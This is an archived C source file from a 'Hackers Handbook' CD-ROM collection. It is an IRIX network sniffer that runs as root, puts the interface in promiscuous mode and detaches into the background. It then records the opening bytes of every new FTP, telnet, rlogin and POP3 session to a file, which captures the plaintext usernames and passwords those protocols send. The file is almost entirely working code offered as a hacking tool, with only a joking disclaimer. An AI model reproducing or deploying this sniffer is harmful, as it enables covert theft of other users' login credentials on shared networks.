home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / c_scripts / snoop.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-11-04  |  9.1 KB  |  331 lines

  1.  
  2.  
  3. /*---------------------------------------------------------------*/
  4. /*        Sn00py.c - a quick IRIX sniffer..                */
  5. /*             -----------------------------------               */
  6. /* What: a sniffer, designed for IRIX (5.x, 6.x) machines.       */
  7. /* Why: 'Cause other than try and compile sniffit (ugh), there   */
  8. /*      really isn't any sniffer for IRIX boxes, that I know of. */
  9. /* Who: morpheus. (n00ne@hotmail.com, for comments, flames, etc.)*/
  10. /*                                                               */
  11. /* Thanks to: SGI (for such great man pages (snoop(7P))          */
  12. /*            whoever wrote Esniff.c =)                          */
  13. /*---------------------------------------------------------------*/
  14.  
  15. /* Notes: I)  #include <disclaimer> - This isn't for hacks...    */
  16. /*        II) This little proggy has the side effect of setting  */
  17. /*            the promiscuous flag. But hey - nobody's perfect.  */
  18. /*            (if you ifconfig and dont see the PROMISC flag up  */
  19. /*             try setenv'ing interface to the right interface   */
  20. /*            (as shown by netstat -i).                          */
  21.  
  22. /* #includes... For SOME reason in sgi, <netinet/in.h> relies on */
  23. /* <netinet/in_systm.h>, which relies, in turn on sys/types.h.   */
  24. /* This order of #includes should do the trick...                */
  25.  
  26. #include <stdlib.h>
  27. #include <netdb.h>
  28. #include <sys/types.h>
  29. #include <netinet/in_systm.h>
  30. #include <netinet/in.h>
  31. #include <arpa/inet.h>
  32. #include <netinet/ip.h>
  33. #include <netinet/tcp.h>
  34. #include <stdio.h>
  35. #include <strings.h> /* not really necessary.. */
  36. #include <sys/types.h>
  37. #include <net/raw.h>
  38. #include <netinet/if_ether.h>
  39.  
  40. /* #define's */
  41.  
  42. #define ETHERHDRPAD     RAW_HDRPAD(sizeof(struct ether_header))
  43. #define TRUE        1
  44. #define    FALSE        0
  45. #define MAX_PACKETS    500
  46. #define MAX_DATA    2048 /* in bytes */
  47.  
  48.  
  49. char    *resolvehost (struct in_addr    ip_addr)
  50. {
  51.     register    struct hostent *he;
  52.  
  53.     he = gethostbyaddr ( (char *)  &ip_addr.s_addr,
  54.                   sizeof(struct in_addr),
  55.                   AF_INET);
  56.  
  57.     return ( (he)?
  58.          (he->h_name) :
  59.          (inet_ntoa(ip_addr))
  60.            );
  61.  
  62.  
  63. }
  64.  
  65. int    filter  (char *Packet, 
  66.          int  Packet_Size,
  67.          struct in_addr    IP_Addr1,
  68.          int        Port1,
  69.          struct in_addr IP_Addr2,
  70.          int        Port2)
  71. {
  72.  
  73.     /*    IP Packet Filtering Procedure         */
  74.     /*    -----------------------------         */
  75.     /* returns TRUE if Packet is from IP_Addr1:Port1 */
  76.     /* IP_Addr2:Port2, or vice versa..         */
  77.  
  78.     struct ip               *IP_Header;
  79.         struct tcphdr           *TCP_Header;
  80.  
  81.     if ( (Packet[0] != 0x45) ||
  82.          (Packet[9] != 0x06)
  83.         )
  84.         return (FALSE);
  85.  
  86.  
  87.  
  88.         IP_Header = (struct ip *) Packet;
  89.     TCP_Header = (struct tcphdr *) (Packet +
  90.              4 * IP_Header->ip_hl);
  91.  
  92.     if  (
  93.          ((memcmp (&IP_Header->ip_src, &IP_Addr1, 4) == 0) &&
  94.           (memcmp (&IP_Header->ip_dst, &IP_Addr2, 4) == 0) &&
  95.           (TCP_Header->th_sport == Port1) &&
  96.           (TCP_Header->th_dport == Port2)
  97.          )
  98. /*
  99.        ||
  100.          ((memcmp (&IP_Header->ip_src, &IP_Addr2, 4) == 0) &&
  101.           (memcmp (&IP_Header->ip_dst, &IP_Addr1, 4) == 0) &&
  102.           (TCP_Header->th_sport == Port2) &&
  103.           (TCP_Header->th_dport == Port1)
  104.          )
  105.  */            )
  106.     {  return (TRUE);}
  107.     else
  108.      return (FALSE);
  109.  
  110.  
  111. }
  112. int main (int argc, char **argv)
  113. {
  114.  
  115.   struct etherpacket {
  116.                 struct snoopheader      snoop;
  117.                 char                    pad[ETHERHDRPAD];
  118.                 struct ether_header     ether;
  119.                 char                    data[ETHERMTU];
  120.         }  ;
  121.   struct snoopfilter {
  122.                 u_long  sf_mask[SNOOP_FILTERLEN];
  123.                 u_long  sf_match[SNOOP_FILTERLEN];
  124.                 u_short sf_allocated:1,
  125.                         sf_active:1,
  126.                         sf_promisc:1,
  127.                         sf_allmulti:1,
  128.                         sf_index:SNOOP_MAXFILTSHIFT;
  129.                 u_short sf_port;
  130.         } ;
  131.  
  132.  
  133.         int i, j, k;        /* Counters... */
  134.     int bytes_read;        /* data count  */
  135.     int cc = 60000, on = 1;
  136.        int s;            /* Our Snoop Socket... */
  137.  
  138.     char    *interface;     /* Gets the interface env. var, if set */
  139.  
  140.         struct sockaddr_raw     sr;
  141.     struct etherpacket     ep,ep1;
  142.     struct snoopfilter    sf;
  143.  
  144.     struct ip        *IP_Header, *IP_Header1;  /* Header ptrs to  */
  145.     struct tcphdr        *TCP_Header, *TCP_Header1;/* overlay on data */
  146.  
  147. #define TCP_FLAGS_ARE_SET(flags) (TCP_Header->th_flags & (flags))
  148.     
  149.     short int    Source_Port, Dest_Port;
  150.     char    *Source_Addr, *Destination_Addr;
  151.     
  152.     char    *output_filename;
  153.  
  154.     FILE     *output;
  155.  
  156.     output_filename = strdup("OUT");
  157.  
  158.  
  159.     if (geteuid () != 0)
  160.     {
  161.       printf ("Error - You must be root to run this\n");
  162.       exit(-1);
  163.     }
  164.  
  165.  
  166.  
  167.     /* Create the Snoop Socket.... */
  168.         s = socket(PF_RAW, SOCK_RAW, RAWPROTO_SNOOP);
  169.         if (s < 0)
  170.       {
  171.         perror ("Error - Unable to open socket");
  172.         exit(-1);
  173.      }
  174.  
  175.     /* Ready output file.... */
  176.  
  177.     if ((output = fopen(output_filename, "wb")) == NULL)
  178.       {
  179.         printf ("Error - Unable to open output file %s\n", output_filename);
  180.         exit(-1);
  181.       }
  182.  
  183.     sr.sr_family = AF_RAW;
  184.         sr.sr_port = 0;
  185.  
  186.     /* Get the interface name (e.g. ec0, ef0, etc.) from an environment */
  187.     /* variable. Else, if not set, we'll attempt to bind to the primary */
  188.     /* interface...                                                     */
  189.  
  190.     interface = getenv ("interface");
  191.     if (!interface)
  192.         /* attempt to bind to primary interface ... */
  193.  
  194.         memset(sr.sr_ifname, 0, sizeof sr.sr_ifname);
  195.     
  196.          else
  197.            strncpy(sr.sr_ifname, interface, sizeof sr.sr_ifname);
  198.         
  199.          if (bind(s, &sr, sizeof sr)  < 0)
  200.       {
  201.         perror ("Error - Unable to Bind Socket");
  202.         exit(1);
  203.  
  204.        }
  205.         
  206.     /* Kewl. We're bound. Next, initialize a generic filter, to match all */
  207.     /* packets, and add to the interface's filter set...                  */
  208.  
  209.         bzero((char *) &sf, sizeof sf);
  210.         ioctl(s, SIOCADDSNOOP, &sf);
  211.  
  212.  
  213.     /*  Increase the socket's receive buffer size to a generous upper    */
  214.     /* bound, to cope with promiscuous reception of heavy traffic.  Turn */
  215.     /* turn snooping on, read captured packets..                         */
  216.     /* (yup.. right from the SGI Man..)                                  */
  217.         
  218.     setsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *) &cc, sizeof cc);
  219.         ioctl(s, SIOCSNOOPING, &on);
  220.  
  221.  
  222.        /* If we got here ok - fork. We'll want to be a bg process anyhow */
  223.  
  224.          if (fork())
  225.                 exit(0);;
  226.   
  227.         for (;;) 
  228.      {
  229.                 cc = read(s, (char *) &ep, sizeof ep);
  230.  
  231.         /* ep.data now holds the packet, minus the ethernet header */
  232.         if ((cc > sizeof (struct ip)) &&
  233.                  (ep.data[0] == 0x45) &&
  234.             (ep.data[9] == 0x06))
  235.         { 
  236.           /* 0x45 = IPv4, and length = 5. So this is a pretty much  */
  237.           /* unique Identifier for our purposes... 0x06 = TCP       */
  238.           /* Since we checked the header len, we can safely overlay */
  239.           /* the struct ip on the data buffer....                   */
  240.            
  241.           IP_Header = (struct ip *) ep.data;
  242.  
  243.           Source_Addr = strdup (resolvehost(IP_Header->ip_src));
  244.           Destination_Addr = strdup (resolvehost(IP_Header->ip_dst));
  245.     
  246.  
  247.         /* Now - carefully overlay the TCP header , right after */
  248.         /* the IP header - that is, at an offset of ip_hl WORDS */
  249.         /* from the beginning (hence the x4).                   */ 
  250.  
  251.           TCP_Header = (struct tcphdr *) (ep.data  + 
  252.                           4 * IP_Header->ip_hl);
  253.     
  254.  
  255.          /* Now - we're only interested in logging the first  few   */
  256.          /* bytes of each session (hey - we can't log EVERYTHING..) */
  257.          /* so - check for handshakes (see if SYN flag is up...)    */
  258.          /* and log FTP, telnet, rlogin, and pop...                 */
  259.  
  260.         
  261.            if ((TCP_FLAGS_ARE_SET(TH_SYN)) &&
  262.             ((TCP_Header->th_dport == 110) ||
  263.              (TCP_Header->th_dport == 23) ||
  264.              (TCP_Header->th_dport == 21) ||
  265.              (TCP_Header->th_dport == 513)
  266.                 )
  267.               )
  268.            {
  269.  
  270.                 fprintf (output,
  271.                           "Connection :%s(%d) -> %s(%d)\n",
  272.                            Source_Addr,  TCP_Header->th_sport,
  273.                            Destination_Addr, TCP_Header->th_dport);
  274.  
  275.  
  276.             /* Read On */
  277.  
  278.             bytes_read = 0;
  279.             cc = read(s, (char *) &ep1, sizeof ep1);
  280.             for (j=0;
  281.              (j < MAX_PACKETS) && (bytes_read < MAX_DATA) ;
  282.               )
  283.              {
  284.             if (filter(ep1.data, cc,
  285.                    IP_Header->ip_src, TCP_Header->th_sport,
  286.                     IP_Header->ip_dst, TCP_Header->th_dport)
  287.               )
  288.                 {
  289.  
  290.              IP_Header1 = (struct ip *) ep1.data;
  291.              TCP_Header1 = (struct tcphdr *) (ep1.data +
  292.                                    4 * IP_Header1->ip_hl);
  293.             
  294.              
  295.               
  296.              if (TCP_Header1->th_flags & (TH_RST | TH_FIN))
  297.              {
  298.                  fprintf(output,"\nConnection reset or closed\n");
  299.                  j = MAX_PACKETS;
  300.                   }
  301.                  else
  302.               {
  303.                for (k= 4 * ( IP_Header1->ip_hl +
  304.                   TCP_Header1->th_off);
  305.                    k < IP_Header1->ip_len;
  306.                     k++)
  307.                 fputc(ep1.data[k], output);
  308.                  
  309.                 bytes_read +=
  310.                    IP_Header1->ip_len -
  311.                    (4 * ( IP_Header1->ip_hl + 
  312.                       TCP_Header1->th_off));
  313.              }    
  314.                 /* In any case, inc. packet count... */
  315.                   j++; 
  316.             }    
  317.                     cc = read(s, (char *) &ep1, sizeof ep1);
  318.  
  319.              } /* End for j= ..... */
  320.  
  321.             fprintf (output,"\Total bytes: %d\n", bytes_read);
  322.             fflush(output); 
  323.  
  324.           } /* End if TCP_FLAGS_ARE_SET */
  325.  
  326.         } /* end if */
  327.         
  328.                
  329.            } /* end for (;;) */
  330. } /* the end */
  331.